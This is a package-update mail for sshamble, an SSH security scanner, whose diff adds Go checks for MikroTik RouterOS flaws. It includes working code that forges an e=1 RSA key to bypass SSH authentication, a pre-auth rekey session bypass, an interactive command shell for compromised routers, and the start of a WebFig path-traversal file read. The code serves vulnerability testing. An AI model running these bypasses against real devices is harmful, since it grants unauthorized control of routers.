Script 'mail_helper' called by obssrc
Hello community,

here is the log from the commit of package sshamble for openSUSE:Factory 
checked in at 2026-09-09 16:22:21
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Comparing /work/SRC/openSUSE:Factory/sshamble (Old)
 and      /work/SRC/openSUSE:Factory/.sshamble.new.1265 (New)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Package is "sshamble"

Wed Sep  9 16:22:21 2026 rev:5 rq:1376595 version:0.3.12

Changes:
--------
--- /work/SRC/openSUSE:Factory/sshamble/sshamble.changes        2026-07-31 
16:10:31.291137783 +0200
+++ /work/SRC/openSUSE:Factory/.sshamble.new.1265/sshamble.changes      
2026-09-09 16:23:56.747024084 +0200
@@ -1,0 +2,6 @@
+Tue Sep  8 06:03:42 UTC 2026 - Martin Hauke <[email protected]>
+
+- Update to version 0.3.12
+  * Add mikrotik CVE-2026-67279 pre-auth rekey session check.
+
+-------------------------------------------------------------------

Old:
----
  sshamble-0.3.10.tar.gz

New:
----
  sshamble-0.3.12.tar.gz

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Other differences:
------------------
++++++ sshamble.spec ++++++
--- /var/tmp/diff_new_pack.Y8YX7g/_old  2026-09-09 16:23:57.593059442 +0200
+++ /var/tmp/diff_new_pack.Y8YX7g/_new  2026-09-09 16:23:57.595059526 +0200
@@ -18,7 +18,7 @@
 
 
 Name:           sshamble
-Version:        0.3.10
+Version:        0.3.12
 Release:        0
 Summary:        Security testing toolset for SSH
 License:        BSD-2-Clause
@@ -28,7 +28,7 @@
 Source:         
https://github.com/runZeroInc/sshamble/archive/refs/tags/v%{version}.tar.gz#/%{name}-%{version}.tar.gz
 Source1:        vendor.tar.gz
 BuildRequires:  go
-BuildRequires:  golang-packaging >= 1.22.5
+BuildRequires:  golang-packaging >= 1.27.1
 %{go_provides}
 
 %description

++++++ sshamble-0.3.10.tar.gz -> sshamble-0.3.12.tar.gz ++++++
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.10/cmd/check_vuln.go 
new/sshamble-0.3.12/cmd/check_vuln.go
--- old/sshamble-0.3.10/cmd/check_vuln.go       2026-07-28 04:41:47.000000000 
+0200
+++ new/sshamble-0.3.12/cmd/check_vuln.go       2026-09-07 21:41:04.000000000 
+0200
@@ -6,4 +6,13 @@
        // Disabled by default due to false positives today
        registerCheck(checkVulnExecSkipUserAuth, "vuln", false, false)
        registerCheck(checkVulnExecSkipAuth, "vuln", false, false)
+
+       // MikroTik SSH public-key auth bypass (CVE-2026-67276)
+       registerCheck(checkVulnMikrotikPubkey, "vuln", false, true)
+
+       // MikroTik SSH pre-auth rekey session (CVE-2026-67279)
+       registerCheck(checkVulnMikrotikPreauthRekey, "vuln", false, true)
+
+       // MikroTik WebFig unauthenticated file read (CVE-2026-67281) — not yet 
working
+       // registerCheck(checkVulnMikrotikWebfigTraversal, "vuln", false, true)
 }
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.10/cmd/check_vuln_mikrotik.go 
new/sshamble-0.3.12/cmd/check_vuln_mikrotik.go
--- old/sshamble-0.3.10/cmd/check_vuln_mikrotik.go      1970-01-01 
01:00:00.000000000 +0100
+++ new/sshamble-0.3.12/cmd/check_vuln_mikrotik.go      2026-09-07 
21:41:04.000000000 +0200
@@ -0,0 +1,316 @@
+package cmd
+
+import (
+       "bufio"
+       "bytes"
+       "crypto/sha1"
+       "crypto/sha256"
+       "crypto/sha512"
+       "encoding/hex"
+       "fmt"
+       "hash"
+       "io"
+       "math/big"
+       "net"
+       "os"
+       "strings"
+       "time"
+
+       "github.com/runZeroInc/excrypto/crypto/rsa"
+       "github.com/runZeroInc/excrypto/x/crypto/ssh"
+       "github.com/runZeroInc/sshamble/auth"
+)
+
+const checkVulnMikrotikPubkey = "vuln-mikrotik-pubkey-bypass"
+
+// CVE-2026-67276 (MikroTrick): RouterOS SSH userauth matches a presented
+// public-key blob against the user's authorized key by (key type, modulus) and
+// omits the exponent, then verifies the signature using the exponent from the
+// client-supplied blob. Presenting {ssh-rsa, e=1, n=victim modulus} makes
+// sig^1 mod n == sig, so the valid "signature" is simply the EMSA-PKCS1-v1_5
+// block of the auth data, computable by anyone who knows the victim's public
+// modulus. No private key is required.
+//
+// 
https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/
+
+// ASN.1 DigestInfo prefixes for the EMSA-PKCS1-v1_5 encoding of each RSA
+// signature algorithm (RFC 8017 section 9.2 note 1).
+var mikrotikDigestInfo = map[string][]byte{
+       ssh.KeyAlgoRSA:       mikrotikMustHex("3021300906052b0e03021a05000414"),
+       ssh.KeyAlgoRSASHA256: 
mikrotikMustHex("3031300d060960864801650304020105000420"),
+       ssh.KeyAlgoRSASHA512: 
mikrotikMustHex("3051300d060960864801650304020305000440"),
+}
+
+func mikrotikMustHex(s string) []byte {
+       b, err := hex.DecodeString(s)
+       if err != nil {
+               panic(err)
+       }
+       return b
+}
+
+// mikrotikForgeSigner presents a forged {ssh-rsa, e=1, n} public key and, when
+// asked to sign, returns the raw EMSA-PKCS1-v1_5 block of the auth data. That
+// block is a valid signature iff the server verifies with the client-supplied
+// e=1 exponent (the CVE-2026-67276 defect).
+type mikrotikForgeSigner struct {
+       pub ssh.PublicKey
+       n   *big.Int
+}
+
+func (s *mikrotikForgeSigner) PublicKey() ssh.PublicKey { return s.pub }
+
+func (s *mikrotikForgeSigner) Sign(rand io.Reader, data []byte) 
(*ssh.Signature, error) {
+       return s.SignWithAlgorithm(rand, data, ssh.KeyAlgoRSA)
+}
+
+func (s *mikrotikForgeSigner) SignWithAlgorithm(rand io.Reader, data []byte, 
algorithm string) (*ssh.Signature, error) {
+       k := (s.n.BitLen() + 7) / 8
+       block, err := mikrotikEmsaPKCS1v15(data, algorithm, k)
+       if err != nil {
+               return nil, err
+       }
+       // Encode the signature integer as a minimal mpint: strip the leading 
zero
+       // byte (the EMSA block always begins 0x00 0x01) so the value is 
unchanged.
+       sig := bytes.TrimLeft(block, "\x00")
+       if len(sig) == 0 {
+               sig = []byte{0}
+       }
+       return &ssh.Signature{Format: algorithm, Blob: sig}, nil
+}
+
+// mikrotikEmsaPKCS1v15 builds the RFC 8017 section 9.2 EMSA-PKCS1-v1_5 block
+// of length k for the given SSH RSA signature algorithm.
+func mikrotikEmsaPKCS1v15(data []byte, sigAlg string, k int) ([]byte, error) {
+       di, ok := mikrotikDigestInfo[sigAlg]
+       if !ok {
+               return nil, fmt.Errorf("unsupported RSA signature algorithm 
%q", sigAlg)
+       }
+
+       var h hash.Hash
+       switch sigAlg {
+       case ssh.KeyAlgoRSA:
+               h = sha1.New()
+       case ssh.KeyAlgoRSASHA256:
+               h = sha256.New()
+       case ssh.KeyAlgoRSASHA512:
+               h = sha512.New()
+       }
+       h.Write(data)
+
+       t := append(append([]byte{}, di...), h.Sum(nil)...)
+       psLen := k - len(t) - 3
+       if psLen < 8 {
+               return nil, fmt.Errorf("RSA modulus too small for %s (%d 
bytes)", sigAlg, k)
+       }
+
+       out := make([]byte, 0, k)
+       out = append(out, 0x00, 0x01)
+       out = append(out, bytes.Repeat([]byte{0xff}, psLen)...)
+       out = append(out, 0x00)
+       out = append(out, t...)
+       return out, nil
+}
+
+func sshCheckVulnMikrotikPubkey(addr string, conf *ScanConfig, options 
*auth.Options, root *auth.AuthResult) *auth.AuthResult {
+       tname := checkVulnMikrotikPubkey
+       if !conf.IsCheckEnabled(tname) {
+               return nil
+       }
+
+       // Victim modulus comes from --mikrotik-pubkey, or from an ssh-rsa 
--private-key.
+       modulus := conf.MikrotikRSAModulus
+       if modulus == nil && options.PrivateKey != nil {
+               modulus = rsaModulusFromPubkey(options.PrivateKey.PublicKey())
+       }
+       if modulus == nil {
+               return nil
+       }
+
+       conf.Logger.Debugf("%s %s is running for user %s", addr, tname, 
options.Username)
+
+       // Build the forged {ssh-rsa, e=1, n=victim} public key.
+       pub, err := ssh.NewPublicKey(&rsa.PublicKey{N: modulus, E: 
big.NewInt(1)})
+       if err != nil {
+               conf.Logger.Errorf("%s %s failed to build forged key: %v", 
addr, tname, err)
+               return nil
+       }
+
+       signer := &mikrotikForgeSigner{pub: pub, n: modulus}
+
+       am := ssh.AuthMethod(ssh.PublicKeysCallback(func() ([]ssh.Signer, 
error) {
+               return []ssh.Signer{signer}, nil
+       }))
+
+       cb := func(c net.Conn, sclient *ssh.Client, ses *ssh.Session, r 
*auth.AuthResult) error {
+               _ = c.SetDeadline(time.Now().Add(time.Second * 15))
+               out, err := ses.CombinedOutput("/system resource print")
+               r.SessionOutput = auth.CleanSessionOutput([]byte(out))
+               r.ExitStatus = ""
+               if err != nil {
+                       if ee, ok := err.(*ssh.ExitError); ok {
+                               r.ExitStatus = fmt.Sprintf("%d", 
ee.ExitStatus())
+                               return nil
+                       }
+                       return err
+               }
+               return nil
+       }
+
+       res := auth.SSHAuth(addr, options.WithSessionHandler(cb), 
auth.SSHAuthHandlerSingle(am))
+
+       if res.Stage != "session" {
+               conf.Logger.Debugf("%s %s did not bypass auth (stage %s): %v", 
addr, tname, res.Stage, res.Error)
+               return nil
+       }
+
+       // Negative control: a forged key with a DIFFERENT modulus must be 
rejected.
+       // If it also authenticates, the server accepts arbitrary keys (not 
this CVE)
+       // and we must not report a vulnerability.
+       if mikrotikNegativeControlAuthenticated(addr, conf, options, modulus) {
+               conf.Logger.Warnf("%s %s negative control (wrong modulus) also 
authenticated; not reporting CVE-2026-67276", addr, tname)
+               return nil
+       }
+
+       conf.Logger.Warnf("%s %s bypassed authentication as %s using a forged 
e=1 public key", addr, tname, options.Username)
+       conf.Logger.Infof("%s %s Mikrotik version output: %s", addr, tname, 
res.SessionOutput)
+
+       root.AddVuln(auth.VulnResult{
+               ID:    tname,
+               Ref:   
"https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/";,
+               Proof: fmt.Sprintf("CVE-2026-67276: authenticated as %s via 
forged e=1 RSA public key (modulus-only). /system resource print: %s", 
options.Username, res.SessionOutput),
+       })
+
+       res.SessionMethod = tname
+       root.SessionMethod = tname
+       root.SessionOutput = res.SessionOutput
+       root.SessionSecret = auth.PubKeyToString(pub)
+       root.ExitStatus = res.ExitStatus
+       root.SessionAuth = am
+
+       return res
+}
+
+// mikrotikNegativeControlAuthenticated attempts the same forge using an
+// unrelated modulus. A vulnerable RouterOS matches by modulus and will reject
+// this key; a server that accepts it is accepting arbitrary keys for some 
other
+// reason, which is not CVE-2026-67276.
+func mikrotikNegativeControlAuthenticated(addr string, conf *ScanConfig, 
options *auth.Options, victimModulus *big.Int) bool {
+       // A fixed unrelated 2048-bit modulus (RFC 2409 group 2 prime).
+       wrongN, ok := 
new(big.Int).SetString("ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece45b3dc2007cb8a163bf0598da48361c55d39a69163fa8fd24cf5f83655d23dca3ad961c62f356208552bb9ed529077096966d670c354e4abc9804f1746c08ca18217c32905e462e36ce3be39e772c180e86039b2783a2ec07a28fb5c55df06f4c52c9de2bcbf6955817183995497cea956ae515d2261898fa051015728e5a8aacaa68ffffffffffffffff",
 16)
+       if !ok {
+               conf.Logger.Warnf("%s mikrotik negative control failed to parse 
modulus", addr)
+               return false
+       }
+
+       pub, err := ssh.NewPublicKey(&rsa.PublicKey{N: wrongN, E: 
big.NewInt(1)})
+       if err != nil {
+               conf.Logger.Warnf("%s mikrotik negative control failed to build 
key: %v", addr, err)
+               return false
+       }
+       signer := &mikrotikForgeSigner{pub: pub, n: wrongN}
+       am := ssh.AuthMethod(ssh.PublicKeysCallback(func() ([]ssh.Signer, 
error) {
+               return []ssh.Signer{signer}, nil
+       }))
+
+       ctrl := auth.SSHAuth(addr, options.WithStopStage("session"), 
auth.SSHAuthHandlerSingle(am))
+       return ctrl.Stage == "session"
+}
+
+// MikrotikInteractHandler drives an interactive RouterOS command session over
+// exec channels. RouterOS's SSH "shell" channel is a full-screen TUI that
+// requires terminal emulation (it emits ESC[6n cursor-position queries and
+// draws a banner), so the generic raw-mode interact handler cannot send it
+// input. RouterOS's "exec" channel, however, runs commands reliably, so we
+// implement a line-based REPL that opens a fresh exec session per command.
+func (conf *ScanConfig) MikrotikInteractHandler(addr string, options 
*auth.Options, root *auth.AuthResult) auth.SessionHandler {
+       return func(conn net.Conn, sclient *ssh.Client, ses *ssh.Session, res 
*auth.AuthResult) error {
+               // The auto-opened session is unused; close it and drive our own
+               // exec sessions instead.
+               _ = ses.Close()
+               _ = conn.SetDeadline(time.Time{})
+
+               defer sclient.Close()
+
+               reader := bufio.NewReader(os.Stdin)
+               fmt.Printf("\r\nMikroTik RouterOS exec session on %s (user 
%s)\r\n", addr, options.Username)
+               fmt.Printf("Type RouterOS commands, or 'exit' to quit.\r\n\r\n")
+
+               for {
+                       fmt.Printf("[%s@%s] > ", options.Username, addr)
+                       line, err := reader.ReadString('\n')
+                       if err != nil {
+                               if err == io.EOF {
+                                       return nil
+                               }
+                               return err
+                       }
+                       line = strings.TrimSpace(line)
+                       if line == "" {
+                               continue
+                       }
+                       switch strings.ToLower(line) {
+                       case "exit", "quit", ".":
+                               return nil
+                       }
+
+                       cs, err := sclient.NewSession()
+                       if err != nil {
+                               fmt.Fprintf(os.Stderr, "failed to open exec 
session: %v\r\n", err)
+                               return err
+                       }
+                       out, cerr := cs.CombinedOutput(line)
+                       cs.Close()
+                       if len(out) > 0 {
+                               os.Stdout.Write(out)
+                               if out[len(out)-1] != '\n' {
+                                       os.Stdout.Write([]byte("\r\n"))
+                               }
+                       }
+                       if cerr != nil {
+                               if cerr == io.EOF {
+                                       return nil
+                               }
+                               if _, ok := cerr.(*ssh.ExitError); !ok {
+                                       fmt.Fprintf(os.Stderr, "command failed: 
%v\r\n", cerr)
+                               }
+                       }
+               }
+       }
+}
+
+// rsaModulusFromPubkey returns the RSA modulus of an ssh-rsa public key, or 
nil.
+func rsaModulusFromPubkey(pub ssh.PublicKey) *big.Int {
+       if pub == nil || pub.Type() != ssh.KeyAlgoRSA {
+               return nil
+       }
+       cpk, ok := pub.(ssh.CryptoPublicKey)
+       if !ok {
+               return nil
+       }
+       rpub, ok := cpk.CryptoPublicKey().(*rsa.PublicKey)
+       if !ok {
+               return nil
+       }
+       return rpub.N
+}
+
+// loadMikrotikModulus parses the victim RSA public key supplied via
+// --mikrotik-pubkey and returns its modulus.
+func loadMikrotikModulus(conf *ScanConfig) *big.Int {
+       if gMikrotikPubKeyFile == "" {
+               return nil
+       }
+       rawb, err := os.ReadFile(gMikrotikPubKeyFile)
+       if err != nil {
+               conf.Logger.Fatalf("failed to open mikrotik public key file 
'%s': %v", gMikrotikPubKeyFile, err)
+       }
+       pub, _, _, _, err := ssh.ParseAuthorizedKey(rawb)
+       if err != nil {
+               conf.Logger.Fatalf("failed to parse mikrotik public key '%s': 
%v", gMikrotikPubKeyFile, err)
+       }
+       if pub.Type() != ssh.KeyAlgoRSA {
+               conf.Logger.Fatalf("mikrotik public key '%s' is %q, need 
ssh-rsa", gMikrotikPubKeyFile, pub.Type())
+       }
+       return rsaModulusFromPubkey(pub)
+}
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.10/cmd/check_vuln_mikrotik_rekey.go 
new/sshamble-0.3.12/cmd/check_vuln_mikrotik_rekey.go
--- old/sshamble-0.3.10/cmd/check_vuln_mikrotik_rekey.go        1970-01-01 
01:00:00.000000000 +0100
+++ new/sshamble-0.3.12/cmd/check_vuln_mikrotik_rekey.go        2026-09-07 
21:41:04.000000000 +0200
@@ -0,0 +1,138 @@
+package cmd
+
+import (
+       "fmt"
+       "net"
+       "regexp"
+       "strings"
+       "time"
+
+       "github.com/runZeroInc/excrypto/x/crypto/ssh"
+       "github.com/runZeroInc/sshamble/auth"
+)
+
+const checkVulnMikrotikPreauthRekey = "vuln-mikrotik-preauth-rekey"
+
+// CVE-2026-67279 (MikroTrick): RouterOS SSH loses track of the incomplete
+// userauth state when the client requests a key re-exchange before
+// authenticating, and then accepts connection-protocol messages anyway. An
+// unauthenticated client can open a session channel (and dispatch exec
+// requests) without any credentials. Fixed in 7.24.2 / 7.23.4 / 6.49.21.
+//
+// This check needs no credentials and no victim key material: it requests a
+// rekey immediately after the initial key exchange, skips the userauth
+// service entirely, and tries to open a session channel. A patched server
+// (and any sane sshd) refuses the channel; a vulnerable RouterOS accepts it.
+//
+// 
https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/
+
+func sshCheckVulnMikrotikPreauthRekey(addr string, conf *ScanConfig, options 
*auth.Options, root *auth.AuthResult) *auth.AuthResult {
+       tname := checkVulnMikrotikPreauthRekey
+       if !conf.IsCheckEnabled(tname) {
+               return nil
+       }
+
+       conf.Logger.Debugf("%s %s is running", addr, tname)
+
+       run := func(rekey bool) *auth.AuthResult {
+               o := options.
+                       WithSkipStages("ssh-userauth", "auth").
+                       WithSessionHandler(func(c net.Conn, sclient 
*ssh.Client, ses *ssh.Session, r *auth.AuthResult) error {
+                               _ = c.SetDeadline(time.Now().Add(time.Second * 
15))
+                               out, err := ses.CombinedOutput("/system 
resource print")
+                               r.SessionOutput = 
auth.CleanSessionOutput([]byte(out))
+                               r.ExitStatus = ""
+                               if err != nil {
+                                       if ee, ok := err.(*ssh.ExitError); ok {
+                                               r.ExitStatus = 
fmt.Sprintf("%d", ee.ExitStatus())
+                                               return nil
+                                       }
+                                       return err
+                               }
+                               return nil
+                       })
+               if rekey {
+                       // Trigger a client-requested rekey while still 
unauthenticated.
+                       // Packets written afterwards (the channel open) are 
queued by the
+                       // transport and flushed once the rekey completes.
+                       o = o.WithPostAuthHandler(func(c net.Conn, uac 
*ssh.UnauthClientConn, r *auth.AuthResult) error {
+                               if err := uac.RequestKeyExchange(); err != nil {
+                                       conf.Logger.Debugf("%s %s rekey request 
failed: %v", addr, tname, err)
+                                       return err
+                               }
+                               conf.Logger.Tracef("%s %s pre-auth rekey 
requested", addr, tname)
+                               return nil
+                       })
+               }
+               // ssh.None() is never reached (the auth stage is skipped); it 
only
+               // satisfies the SSHAuth signature.
+               return auth.SSHAuth(addr, o, 
auth.SSHAuthHandlerSingle(ssh.None()))
+       }
+
+       res := run(true)
+       if res.Stage != "session" {
+               conf.Logger.Debugf("%s %s did not open a pre-auth session after 
rekey (stage %s): %v", addr, tname, res.Stage, res.Error)
+               return nil
+       }
+
+       // Negative control: without the rekey, the same pre-auth channel open 
must
+       // be refused. If it also succeeds, the server accepts pre-auth sessions
+       // generally (a different defect, e.g. vuln-exec-skip-userauth), and we
+       // must not attribute it to CVE-2026-67279.
+       if ctrl := run(false); ctrl.Stage == "session" {
+               conf.Logger.Warnf("%s %s control (no rekey) also opened a 
pre-auth session; not reporting CVE-2026-67279", addr, tname)
+               return nil
+       }
+
+       // Attribute to RouterOS before naming the CVE: either the server banner
+       // (SSH-2.0-ROSSSH) or the proof command output must look like RouterOS.
+       if !mikrotikPreauthRekeyIsRouterOS(res.Version, res.SessionOutput) {
+               conf.Logger.Warnf("%s %s opened a session WITHOUT 
authentication after a pre-auth rekey, but the service (%q) does not look like 
RouterOS; not reporting CVE-2026-67279", addr, tname, res.Version)
+               return nil
+       }
+
+       version := mikrotikParseRouterOSVersion(res.SessionOutput)
+       conf.Logger.Warnf("%s %s opened a session WITHOUT authentication via 
pre-auth rekey", addr, tname)
+       if version != "" {
+               conf.Logger.Infof("%s %s RouterOS version: %s", addr, tname, 
version)
+       }
+
+       proof := fmt.Sprintf("CVE-2026-67279: session channel opened without 
authentication after a client-requested pre-auth rekey (server: %s; control 
without rekey was refused)", res.Version)
+       if version != "" {
+               proof += fmt.Sprintf(". RouterOS version: %s", version)
+       }
+       if res.SessionOutput != "" {
+               proof += fmt.Sprintf(". /system resource print: %s", 
res.SessionOutput)
+       }
+
+       root.AddVuln(auth.VulnResult{
+               ID:    tname,
+               Ref:   
"https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/";,
+               Proof: proof,
+       })
+
+       res.SessionMethod = tname
+       root.SessionMethod = tname
+       root.SessionOutput = res.SessionOutput
+       root.ExitStatus = res.ExitStatus
+
+       return res
+}
+
+// mikrotikPreauthRekeyIsRouterOS reports whether the server banner or the
+// proof command output identifies the target as MikroTik RouterOS.
+func mikrotikPreauthRekeyIsRouterOS(serverVersion string, output string) bool {
+       return strings.Contains(serverVersion, "ROSSSH") || 
strings.Contains(output, "MikroTik")
+}
+
+var mikrotikVersionPattern = regexp.MustCompile(`version:\s*(\S+)`)
+
+// mikrotikParseRouterOSVersion extracts the version string from the output of
+// "/system resource print" ("version: 7.24.1 (stable)"), or "" if absent.
+func mikrotikParseRouterOSVersion(output string) string {
+       m := mikrotikVersionPattern.FindStringSubmatch(output)
+       if m == nil {
+               return ""
+       }
+       return m[1]
+}
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/sshamble-0.3.10/cmd/check_vuln_mikrotik_rekey_test.go 
new/sshamble-0.3.12/cmd/check_vuln_mikrotik_rekey_test.go
--- old/sshamble-0.3.10/cmd/check_vuln_mikrotik_rekey_test.go   1970-01-01 
01:00:00.000000000 +0100
+++ new/sshamble-0.3.12/cmd/check_vuln_mikrotik_rekey_test.go   2026-09-07 
21:41:04.000000000 +0200
@@ -0,0 +1,36 @@
+package cmd
+
+import "testing"
+
+func TestMikrotikPreauthRekeyIsRouterOS(t *testing.T) {
+       cases := []struct {
+               banner string
+               output string
+               want   bool
+       }{
+               {"SSH-2.0-ROSSSH", "", true},
+               {"SSH-2.0-ROSSSH", "version: 7.24.1 (stable)", true},
+               {"SSH-2.0-OpenSSH_9.9", "platform: MikroTik", true},
+               {"SSH-2.0-OpenSSH_9.9", "Linux router 6.1.0", false},
+               {"SSH-2.0-OpenSSH_9.9", "", false},
+       }
+       for _, tc := range cases {
+               if got := mikrotikPreauthRekeyIsRouterOS(tc.banner, tc.output); 
got != tc.want {
+                       t.Errorf("mikrotikPreauthRekeyIsRouterOS(%q, %q) = %v, 
want %v", tc.banner, tc.output, got, tc.want)
+               }
+       }
+}
+
+func TestMikrotikParseRouterOSVersion(t *testing.T) {
+       output := `                  uptime: 1h29m12s
+                  version: 7.24.1 (stable)
+                  build-time: 2026-08-21 13:06:38
+                  platform: MikroTik
+`
+       if got := mikrotikParseRouterOSVersion(output); got != "7.24.1" {
+               t.Errorf("mikrotikParseRouterOSVersion() = %q, want %q", got, 
"7.24.1")
+       }
+       if got := mikrotikParseRouterOSVersion("no version here"); got != "" {
+               t.Errorf("mikrotikParseRouterOSVersion() = %q, want empty", got)
+       }
+}
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.10/cmd/check_vuln_mikrotik_test.go 
new/sshamble-0.3.12/cmd/check_vuln_mikrotik_test.go
--- old/sshamble-0.3.10/cmd/check_vuln_mikrotik_test.go 1970-01-01 
01:00:00.000000000 +0100
+++ new/sshamble-0.3.12/cmd/check_vuln_mikrotik_test.go 2026-09-07 
21:41:04.000000000 +0200
@@ -0,0 +1,102 @@
+package cmd
+
+import (
+       "crypto/sha256"
+       "math/big"
+       "testing"
+
+       "github.com/runZeroInc/excrypto/x/crypto/ssh"
+)
+
+// TestMikrotikEmsaPKCS1v15Shape verifies the EMSA-PKCS1-v1_5 block layout for
+// each RSA signature algorithm and that the forged e=1 signature verifies
+// (sig^1 mod n == sig) while a 65537 exponent would reject it. This is the
+// primitive that CVE-2026-67276 relies on, testable without a target.
+func TestMikrotikEmsaPKCS1v15Shape(t *testing.T) {
+       // Use a modest 1024-bit modulus so k=128.
+       n, ok := 
new(big.Int).SetString("b10b8f96a080e01dde92de5eae5d54ec52c99fbcfb06a3c69a6a9dca52d23b616073e28675a23d189838ef1e2ee652c013ecb4aea906112324975c3cd49b83bfaccbdd7d90c4bd7098488e9c219a73724effd6fae5644738faa31a4ff55bccc0a151af5f0dc8b4bd45bf37df365c1a65e68cfda76d4da708df1fb2bc2e4a4371",
 16)
+       if !ok {
+               t.Fatalf("failed to parse modulus")
+       }
+
+       cases := []struct {
+               alg string
+       }{
+               {ssh.KeyAlgoRSA},
+               {ssh.KeyAlgoRSASHA256},
+               {ssh.KeyAlgoRSASHA512},
+       }
+
+       for _, tc := range cases {
+               block, err := mikrotikEmsaPKCS1v15([]byte("auth-data"), tc.alg, 
128)
+               if err != nil {
+                       t.Fatalf("%s: %v", tc.alg, err)
+               }
+               if len(block) != 128 {
+                       t.Fatalf("%s: block len = %d, want 128", tc.alg, 
len(block))
+               }
+               if block[0] != 0x00 || block[1] != 0x01 {
+                       t.Fatalf("%s: missing 00 01 prefix", tc.alg)
+               }
+               if block[2] != 0xff {
+                       t.Fatalf("%s: missing padding", tc.alg)
+               }
+
+               // The forged signature is the EMSA block interpreted as an 
integer.
+               sig := new(big.Int).SetBytes(block)
+               if sig.Cmp(n) >= 0 {
+                       t.Fatalf("%s: sig >= n", tc.alg)
+               }
+
+               // e=1: sig^1 mod n == sig, so the block round-trips exactly.
+               em := new(big.Int).Exp(sig, big.NewInt(1), n)
+               padded := make([]byte, 128)
+               copy(padded[128-len(em.Bytes()):], em.Bytes())
+               if string(padded) != string(block) {
+                       t.Fatalf("%s: e=1 verify mismatch", tc.alg)
+               }
+
+               // e=65537 must NOT reproduce the block (negative control).
+               em65537 := new(big.Int).Exp(sig, big.NewInt(65537), n)
+               if string(em65537.Bytes()) == string(block) {
+                       t.Fatalf("%s: e=65537 unexpectedly verified", tc.alg)
+               }
+       }
+}
+
+// TestMikrotikForgeSignerSignature verifies the SignWithAlgorithm output
+// encodes the signature as a minimal mpint and preserves the algorithm name.
+func TestMikrotikForgeSignerSignature(t *testing.T) {
+       n, _ := 
new(big.Int).SetString("b10b8f96a080e01dde92de5eae5d54ec52c99fbcfb06a3c69a6a9dca52d23b616073e28675a23d189838ef1e2ee652c013ecb4aea906112324975c3cd49b83bfaccbdd7d90c4bd7098488e9c219a73724effd6fae5644738faa31a4ff55bccc0a151af5f0dc8b4bd45bf37df365c1a65e68cfda76d4da708df1fb2bc2e4a4371",
 16)
+
+       signer := &mikrotikForgeSigner{pub: nil, n: n}
+       sig, err := signer.SignWithAlgorithm(nil, []byte("data"), 
ssh.KeyAlgoRSASHA256)
+       if err != nil {
+               t.Fatalf("SignWithAlgorithm: %v", err)
+       }
+       if sig.Format != ssh.KeyAlgoRSASHA256 {
+               t.Fatalf("format = %q, want %q", sig.Format, 
ssh.KeyAlgoRSASHA256)
+       }
+       // The blob must start with 0x00 0x01 (the leading zero of the EMSA 
block
+       // is stripped, so the integer begins with 0x01).
+       if len(sig.Blob) == 0 || sig.Blob[0] != 0x01 {
+               t.Fatalf("signature blob does not start with 0x01: %x", 
sig.Blob[:8])
+       }
+       // Blob must be <= k bytes (minimal mpint of a k-byte block).
+       if len(sig.Blob) > 128 {
+               t.Fatalf("signature blob too long: %d > 128", len(sig.Blob))
+       }
+
+       // Sanity: sha256 of data is embedded.
+       sum := sha256.Sum256([]byte("data"))
+       found := false
+       for i := 0; i+len(sum) <= len(sig.Blob); i++ {
+               if string(sig.Blob[i:i+len(sum)]) == string(sum[:]) {
+                       found = true
+                       break
+               }
+       }
+       if !found {
+               t.Fatalf("signature blob does not contain SHA-256 digest")
+       }
+}
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.10/cmd/check_vuln_webfig_traversal.go 
new/sshamble-0.3.12/cmd/check_vuln_webfig_traversal.go
--- old/sshamble-0.3.10/cmd/check_vuln_webfig_traversal.go      1970-01-01 
01:00:00.000000000 +0100
+++ new/sshamble-0.3.12/cmd/check_vuln_webfig_traversal.go      2026-09-07 
21:41:04.000000000 +0200
@@ -0,0 +1,114 @@
+package cmd
+
+import (
+       "fmt"
+       "strings"
+       "time"
+
+       "github.com/runZeroInc/sshamble/auth"
+       "github.com/runZeroInc/sshamble/webfig"
+)
+
+const checkVulnMikrotikWebfigTraversal = "vuln-mikrotik-webfig-traversal"
+
+// sshCheckVulnMikrotikWebfigTraversal attempts to read /id_rsa.pub from the
+// target's WebFig jsproxy using the CVE-2026-67281 path-traversal 
vulnerability.
+//
+// The vulnerability allows an unauthenticated attacker to read arbitrary files
+// by exploiting a stale/uninitialized principal pointer in newly allocated
+// jsproxy sessions. The attacker establishes an X25519+AES-128-CTR session,
+// then sends an encrypted GET with ".." components to escape the WebFig file
+// namespace.
+//
+// Multiple traversal encodings are attempted to bypass path sanitization.
+// Multiple sessions are attempted to increase the chance of hitting a session
+// with a stale principal pointer (CWE-824).
+func sshCheckVulnMikrotikWebfigTraversal(addr string, conf *ScanConfig, 
options *auth.Options, root *auth.AuthResult) *auth.AuthResult {
+       tname := checkVulnMikrotikWebfigTraversal
+       if !conf.IsCheckEnabled(tname) {
+               return nil
+       }
+
+       conf.Logger.Debugf("%s %s is running", addr, tname)
+
+       host := options.Host
+
+       // Traversal paths to attempt, ordered by likelihood.
+       // The webfig file root is typically /nova/bin/www/webfig/ on RouterOS,
+       // so ../../ reaches /nova/bin/www/, ../../../ reaches /nova/bin/,
+       // and ../../../../ reaches /nova/.
+       paths := []string{
+               "../../id_rsa.pub",
